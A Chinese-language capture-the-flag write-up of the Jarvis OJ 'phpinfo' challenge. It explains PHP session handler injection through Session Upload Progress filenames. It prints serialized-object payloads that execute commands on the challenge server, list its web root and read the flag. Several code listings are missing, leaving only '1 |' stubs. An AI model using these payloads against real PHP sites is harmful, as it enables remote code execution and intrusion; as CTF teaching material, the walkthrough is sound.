Session
session就是服务器为用户浏览器创建的一个保存用户信息的文件
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。
session序列化与反序列化有三种方式:
php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,可以注入。
Jarvis OJ phpinfo
看这道jarvios oj 的题:
1 |
|
分析题目 肯定是要通过反序列化出来OowoO这个对象,把mdzz这个变量改成我们需要执行的命令。
利用的是php的session解析不同导致的注入 ,用serialize方法序列化结果前面加个| 就是php_serialize解析的对象。
此题也没有传session的方法,参考帖子得知利用Session Upload Progress上传个文件,filename就可以作为session的值。
首先我们要本地搭建环境,拿到我们想要的序列化值,代码:
1 |
|
得到结果:O:5:”OowoO”:1:{s:4:”mdzz”;s:14:”echo “hacker”;”;}
注意这里不能把这个直接传过去,利用解析引擎不同 要在前面加个| (引号要转义)
也就是说 传进去的filename:|O:5:\“OowoO\“:1:{s:4:\“mdzz\“;s:14:\“echo \“hacker\“;\“;}
新建一个html:
1 | <form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data"> |
上传文件burp抓包,把filename改为上面的payload:
执行成功
看一下根目录:
|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r($_SERVER["DOCUMENT_ROOT"]);";}
进去看看有什么:
|O:5:"OowoO":1:{s:4:"mdzz";s:39:"print_r(scandir(‘/opt/lampp/htdocs/‘));";}
读flag:
参考:
https://blog.spoock.com/2016/10/16/php-serialize-problem/